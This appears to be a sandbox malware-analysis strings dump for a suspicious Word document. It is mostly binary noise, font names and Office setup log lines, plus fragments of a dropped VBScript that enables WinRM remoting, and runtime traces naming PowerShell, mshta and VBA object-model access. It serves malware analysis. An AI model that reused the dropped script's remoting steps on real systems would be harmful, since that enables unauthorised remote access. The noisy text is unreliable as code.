Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a28jd&8vB+*7p{:a1dk,Y_\Z2`$cVPi_o<XH))WI<sEg/k73Lz3o{6.IW~`{zv~c2Og??iIY)0+AI"svu?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A2r@C)'~i%|C<eZ':zJf{ !%(CI$LZ)_&}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A5dEm*|!0Pmtd!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A7Q""_S$+;edt<(SSp\YXX"=-}(>Z rkd{8^M?.OH=<\.^T./wGVw^[n7o7noL~$i

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A8k|%+MG{M#wt{_F$"(rTm!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

A<6Li*n=U0Rk

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a<fnWEe9x0E1RHZ&WiEM6]"V##y{/"a{1`bNbNVBoQ!JR;mg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a?`'*;F+Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a^6tf*I-\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

aA#DDJ(F'!`q)SfG>UX}cy,](>K:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ac&ar\.)|{o7kyx t)C(rdAB0lie#\Q:B0KSba

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Access32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Access_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessAddinFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessAddinPWFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessBDCFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ACCESSFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessLobiDependencies:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessTemplatesIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AccessVBOM

Unicode based on Runtime Data (powershell.exe )

AccessWizards:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Ace_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AceFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AcePiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

action = "Analyze"

Ansi based on Dropped File (ConfManagerNT.vbs)

action = "AnalyzeService"

Ansi based on Dropped File (ConfManagerNT.vbs)

action = "EnableRemoting"

Ansi based on Dropped File (ConfManagerNT.vbs)

action = "EnableService"

Ansi based on Dropped File (ConfManagerNT.vbs)

AddDriver = iResult

Ansi based on Dropped File (ConfManagerNT.vbs)

AddDriver = kErrorFailure

Ansi based on Dropped File (ConfManagerNT.vbs)

AddOnGroup Culture: en-us

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: ACCESS.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: EXCEL.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: GROOVE.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: INFOPATH.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: OFFICE.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: OFFICE32.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: ONENOTE.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: OUTLOOK.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: POWERPOINT.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: PROOFING.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: PUBLISHER.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

AddOnId: WORD.EN-US

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ADg$.WWn0o}t5f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Af;}#m93(Tn>[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Agency FB

Unicode based on Runtime Data (WINWORD.EXE )

AgentAnim

Unicode based on Runtime Data (WINWORD.EXE )

aH|/34JLcC\QbiK_4GPk%v(^w&{4Ed<-TX2+D9v=BH|Q12%Zo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Aj6&Gm=Ui\{j_6{v@z1Jz7JNLvB3B<$>y2uY5l,ga=&YyaWiSk*dS"F:9I`3W1ByF(Oa-O3eeB6-W=S\xj_8]x"NXTWAL\|-[h{%!nwqQ7F~PQ>w8P#gS''uRtx9x:yHqL#G='\q0'<6n\DKF]$?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ak"6AUQWiM@3Kwi!Mh

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

aK;zz;=ypzQ4E>N;n_?DZp"a&yoC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

AlwaysInstalled:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Am/2)3:(SSgyN0kW}0(<.%s3oGqdBfBzbVTZr>=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

AmDe3@"0NU98r|'T9Z=|0DtD"!z!..A3L|bad~:l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ANad$RX2jkk-PDnG-?JF"FFx0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport><Force/></Analyze_INPUT>"

Ansi based on Dropped File (ConfManagerNT.vbs)

analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport></Analyze_INPUT>"

Ansi based on Dropped File (ConfManagerNT.vbs)

analysisInputXml = "<AnalyzeService_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""></AnalyzeService_INPUT>"

Ansi based on Dropped File (ConfManagerNT.vbs)

analysisOutput.LoadXML(analysisOutputXml)

Ansi based on Dropped File (ConfManagerNT.vbs)

analysisOutputXml = sessionObj.Invoke(action, "winrm/config/service", analysisInputXml)

Ansi based on Dropped File (ConfManagerNT.vbs)

Angsana New

Unicode based on Runtime Data (WINWORD.EXE )

AngsanaUPC

Unicode based on Runtime Data (WINWORD.EXE )

answer = LCase(stdIn.ReadLine)

Ansi based on Dropped File (ConfManagerNT.vbs)

Aparajita

Unicode based on Runtime Data (WINWORD.EXE )

aqT_7xlD#`OA/ch+(LEIyZ=2"tst{^mTbwXNv=pGIs,S2"C.e;$^MS^x{{RRIKl7d1=Q/zuD^FD>zyz!.qg}F;$L.$^2W./CYaBH ,D}2(%^ cYm.yl8[jS7i>eHYvt_PyN0tVVUn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Arabic Typesetting

Unicode based on Runtime Data (WINWORD.EXE )

Arg@ \td$~t./]}Uky!d|P~,fvm #sFf%S]%vAlmmLO9wCA..Xw]%>ny]e(KJmv?@3fry_U!3UvJvuRtDkJr{66)se9'iMBA1iKWNN40HR/3AreJMAt(fd[Y BNvQKgWV-cXP\-c,\|Q6;{{%]&W5 @C?Pzr!1YV`v2qx@:O @A?uT88=*bq&Sn4;>8seH:?'3;-Y)73kqCHf4s_7|.vhJ&>Q?aS|{jv>n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Arial Black

Unicode based on Runtime Data (WINWORD.EXE )

Arial Narrow

Unicode based on Runtime Data (WINWORD.EXE )

Arial Rounded MT Bold

Unicode based on Runtime Data (WINWORD.EXE )

Arial Unicode MS

Unicode based on Runtime Data (WINWORD.EXE )

AsF}fYZ*L

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & cmdlineOptions.Argument(NPARA_RETURN_TYPE) & " is not a valid option"

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL Len(resUri) <> 0, GetResource("L_URIZERO_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL Len(uri) <> 0, GetResource("L_URIZERO_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZERO_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZEROTOK_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTBOOL matches.Count = 1, GetResource("L_NOLASTTOK_Message")

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTERR e, formatOption

Ansi based on Dropped File (ConfManagerNT.vbs)

ASSERTERR session, formatOption

Ansi based on Dropped File (ConfManagerNT.vbs)

aT<==\i>y941lq9owPRms:R[d>nVT^Ou/Mdknb# v%,dc<\|3]Ca2FG)G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

AutoDetect

Unicode based on Runtime Data (WINWORD.EXE )

AvGey9$_=2>*E#fLmI*)bRbn$]MCjNx,Gqc@mI

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

aW@ALe&\C~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

aykKWl/3epX2{qX6fY02fMd&Nam"jb*&&A3Sc/y-Kxm1vEvs/g{o8$DM]PKK@q{p`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

AZw_<O~32s6qMs#$"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a|,,12x\![Z.+Vc>]L&BVE7Uw{\QX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

a}k+Xk=)$ON?8a''8R-k!EQC&Vw0

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B fs3Mm[c]qivH!4vw5td Cqdsn~qBM_b7PA{*|YU[w~5Ubb'~z="{)sKw/zY|e^g-t#rX[N4v.OaS&]ck58d|d.S#|>sr'C2Z

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b!!':QHLbZ?.<n-<'hb/+etd\t155E~=w\/rigjkpWqp!omzh"xJ4vn9?^|^g`jZbYmK<sKU]mW"]>;>F4cdht* cdhA!gEG6z&shijedD<AEm3L9"QdHdvUitM8f'HOa7LqUWsOo=BOW'-\%+9?D(> Io

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b"NXar7gf}$4Tv"sMl 6x4uDLH.D])kS.<k01q7BP@[:;`!6ux{"b;X]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B#wvvT}:tz2nm<g'J*i419&ggxz<9\Z]KOGi~i_Wvr7LM[Y,|9nNOZiVZ[]J,oem%M'c<Ciz~.LKKirj2-,-4 .|hwno#?}nnKn\K._JW]N7oHJJttz&gRHozt3J~1~N~ti_\M7nv].\n@^v-rrI\IOpLz{o9stjoK7o.?Kn:vInL3M.\/?rL@Y5BB#cxki`7}u;#weaw#BZ~^KmY0)/[iY=L{:Sg"7KY8B`q+KYxB=.?^.]^,T???_wLeq 4NVLw6S'udv+,;::{3Ck,|H[;\W/OI,@v,{<oF}QRVZZ?s|QfpyX4XC<t]M96[][gpr6JOa\Z<wv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b&2>;\>D$YQB7%qS\4z7H:XJL&$,x_?=|DM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B&s$Y'jC?I.fS2/#EvOZA0QXWZ- 3-hP:$jnrki'7BZ2Q8|=Z(L JJdKh>4f-`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B'z7!qat#`CV!$/(MGyPz`nc0CbW6gg\BMk&"-,w0xDY7By'S+S/G0V3G'"&""W!m#sNaCy""U

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b,$Yf6q|<U<4GH8cXI)#I.aBK^yq{/^g|O=K`OO\6(<I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b3]D!iJ*nz{S:zM|!@ET

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b6n\PU`FgoDF1g'!+THO'3-H*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B8Y/zuSs[ln/;$=cSp/WHk?W0 |oe:}N9e{:oA~aV-]cyoV\OF q:|a7k7@"CGmw=9q[F.*@!G&,?kVrYr+=V7K04_E\-y'L+lIk<[qJhgmVT<B4kG*F///=J>Nfr+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B:HmqmR!?$\~[).omT3xnzO*}/N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

B<RN/'~y:Y%- .BE&zAvWby07v(+k;1CcC ?<(tj\Y(&a~?U2$F+h~1 Un^{b9}{?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bA[Y4(g3 #ax,$Lq+-.ym;Y;jY/nF&kFiaXe;K!E8P10oC4uT0\IOWn'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BAbIIWOpqP=";0N@.@3,OO/8+/ZU0?O0N"

Ansi based on Dropped File (ConfManagerNT.vbs)

Baskerville Old Face

Unicode based on Runtime Data (WINWORD.EXE )

BatangChe

Unicode based on Runtime Data (WINWORD.EXE )

Bauhaus 93

Unicode based on Runtime Data (WINWORD.EXE )

bd.^]Br-eafz^w59HE/MW2<LAWdykGK&!2YHv5k3 03]ET?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bdG<Q[nA%Q'|wI[RW~<s/{'q\*X$s-C0Kbd"M#c1Ev*>hpr>rrrsNYIF@jl&Wj4de.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Berlin Sans FB

Unicode based on Runtime Data (WINWORD.EXE )

Berlin Sans FB Demi

Unicode based on Runtime Data (WINWORD.EXE )

Bernard MT Condensed

Unicode based on Runtime Data (WINWORD.EXE )

BfDOjRW9[1!4vE43bZH[=FcNR3,I0_`/,"V<85BC8b#"*{6IrC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BGPaXXA,d 2'/'B{qGJW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BH/C='\$lSl]8$z)B

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bif6b6zb4t9=[H=d)odU,H([-us,wx"d7{idpnt'].}TK_N~2RveC]UhTP$vXOFNS3n(=~:FYEB6ah "8tj=l~N_Cx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bj! ]Gt./^)VAU38Unjh~^_)3[eqe:JpW<HB$zm ~U{Y]+]U5-vtr'-</;e9Haser

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bK_104<|HU+6RD7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Blackadder ITC

Unicode based on Runtime Data (WINWORD.EXE )

BLJ&3(=GC\9V:G!cwP_6~XCg,W;6z9a4X],]LhD$d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

bLX7CYHmzZu[OTl

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Bn7OEI<y|5I~!ob~lk].

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Bodoni MT

Unicode based on Runtime Data (WINWORD.EXE )

Bodoni MT Black

Unicode based on Runtime Data (WINWORD.EXE )

Bodoni MT Condensed

Unicode based on Runtime Data (WINWORD.EXE )

Bodoni MT Poster Compressed

Unicode based on Runtime Data (WINWORD.EXE )

Book Antiqua

Unicode based on Runtime Data (WINWORD.EXE )

Bookman Old Style

Unicode based on Runtime Data (WINWORD.EXE )

Bookshelf Symbol 7

Unicode based on Runtime Data (WINWORD.EXE )

Br>.3w9%4|4jREz;$I3f|.^^4]:\t<zfglkQo"iO=3w 3f}S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Bradley Hand ITC

Unicode based on Runtime Data (WINWORD.EXE )

bReturn = false

Ansi based on Dropped File (ConfManagerNT.vbs)

bReturn = true

Ansi based on Dropped File (ConfManagerNT.vbs)

Britannic Bold

Unicode based on Runtime Data (WINWORD.EXE )

BRJ~|+zuf#,p*J`TPo|)u{H}6UST<;X;S_ET)vwvkG

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

brMsYYd;Y{M6A9s]a[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Browallia New

Unicode based on Runtime Data (WINWORD.EXE )

BrowalliaUPC

Unicode based on Runtime Data (WINWORD.EXE )

Brush Script MT

Unicode based on Runtime Data (WINWORD.EXE )

BT'A7' WEp$@M\C#IvGz6AFj):4WOM:t:tp,]:@Gv:t8CuX#:tdCc9rS*c46Anm7:;H_1>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BuLad;tt+ia`CRRR"TS~WLSg~={)K`=wux]o,w?"HbCo6yeiX2oP[_s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BV|})AZRA69"Pgg#B;k&Rd$ Ej4'!u1%oCw:vGlnyQy"-w5]F]c#G1juOvoeD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

BW;wBWhrYbf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Bwr"Zs2B'O,'OeMChK6@t<T'hp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

b~xGJtq"pop}=kidcG3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C!2C:wXr9_/d.Cixab!wVz<taP1t"s}%LmAc?|+Gp<0F:#OCMWvt"F]DYt61<_Ycx]\iDp&:Uyux@~g"=#E([SG{icgJ./iQ|H9[1@$-<u+tA;1P|4BK;(d9>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C&:46"riimL;>U"w$LP#Mqe_i+:K.9bd.DL@"C0d"H'ETW0Q]hJ;x7Rg?oX!*l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c)J/~__v.?0cb*v"*V'54NpqSZ:|nbC'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c,+O|4!<bGv?3$MMX_Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c0n3e>?'[i{+^su-\nC[y3siva|3gc\jf(Qfqfyda^t{_:ua|3[

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C1/~7=qJPE 3IeG`$QCG4<Ag

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C3G!*kj3?,K20t

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C5'S=um~OAfSm!'}6lb];/^Nk,=dp]hJ<taa/BcG3|/{uL*k#J~mHl}.$8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C7[|2W@>;vY[2FaBds\\)-31"l1p{|w3aW<O9,#7'#|'Z-H`9\,<b\5|1tast/\XeZZ7-]4;_d-[:%7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C8$?e1G13.U\.QiILK(l;#yELrjQ%hghd`&TTTaX)

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c9`DNWHn$k+*)tQ2EhN0[TS$eJIx2w7fsP.Hh1Lxz%s.^2_=K,htt$#Y:<3l~Uw$|m^i:+pNx9jt3omw~p\0z{,3~GMBPQC@LNM^GL19<s7A/*T $(~.>FNv.{TAYao,[^Y/IMhPzW?/}%Zi<}Lz-M

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C:)~A<~?vO-J>c]J A$_xXaq{8-=2Kl;>AI]QS'U7qZ|qp pGo_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe is trusted.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

%TEMP%\Setup00000b84\OSETUP.DLL is trusted.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

c=F2*B0D7-(w07

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c={td*%BB @&9_*3d!pLALk4jd_]%A5^7:gieJC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c@AMJA>`]2")T,OGvr}5+Su>MGY2*!Qz/

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C[q2WGiVQ6}.tN

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CachePrefix

Unicode based on Runtime Data (mshta.exe )

CAGCat10:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CAGCat10Clips:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CAGCategoryFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CAGFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CAGOffice10:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CAGOffice10Clips:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Californian FB

Unicode based on Runtime Data (WINWORD.EXE )

Calisto MT

Unicode based on Runtime Data (WINWORD.EXE )

Cambria Math

Unicode based on Runtime Data (WINWORD.EXE )

case else

Ansi based on Dropped File (ConfManagerNT.vbs)

case OP_CRE

Ansi based on Dropped File (ConfManagerNT.vbs)

case OP_INV

Ansi based on Dropped File (ConfManagerNT.vbs)

case OP_PUT

Ansi based on Dropped File (ConfManagerNT.vbs)

case VAL_RT_EPR

Ansi based on Dropped File (ConfManagerNT.vbs)

case VAL_RT_OBJ_EPR

Ansi based on Dropped File (ConfManagerNT.vbs)

case VAL_RT_OBJECT

Ansi based on Dropped File (ConfManagerNT.vbs)

Castellar

Unicode based on Runtime Data (WINWORD.EXE )

Catalyst did not detect any conflict Groove products installed on the machine

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst execution began: 12/08/2018 16:33:00.

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Catalyst execution began: 12/08/2018 16:33:40.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst execution began: 12/08/2018 16:33:40.Loaded Dll : %TEMP%\Setup00000b84\OSETUP.DLL.Catalyst version is : 14.0.4755.1000JobExecutionMode is ConfigureExecutionMode.Configuring Product: {90140000-0011-0000-1000-0000000FF1CE}The UI level has been set to: BasicThe UI level has been set to: BasicLoading ARP entry.LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-0019-0409-1000-0000000FF1CE}"LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-0016-0409-1000-0000000FF1CE}"LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-0115-0409-1000-0000000FF1CE}"LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-002C-0409-1000-0000000FF1CE}"LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-00BA-0409-1000-0000000FF1CE}"LIS: start parsing setup xmlLIS: finished parsing LIS package "{90140000-00A1-0409-1000-0000000FF1CE}"LIS: start parsing setup

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst execution finished: 12/08/2018 17:15:00.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst Outlook 12 install bypass check passed: Blocking flag is not set

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst Package Configuration...

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst path exists check passed: The path %PROGRAMFILES%\Microsoft Office exists

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst valid path check passed: The path %PROGRAMFILES%\Microsoft Office is valid

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Catalyst version is : 14.0.4755.1000

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

CB4f~F#o+(K>w7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

cbHSG(7&Umo|`j{>?%"6y`Y:^+lZdz/<"Zc!~5N1dpwqgciGufln>y[dL5;vd'%N6r}l+?<nWGj#Wz@?6sLiyA`BMr*#t!?+&6HYn6a/PnW'7#@O8v,i[s#w5/8H}iC#52#<'O2n#Lc&w@!+|iTp<1RLX@h

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Century Gothic

Unicode based on Runtime Data (WINWORD.EXE )

Century Schoolbook

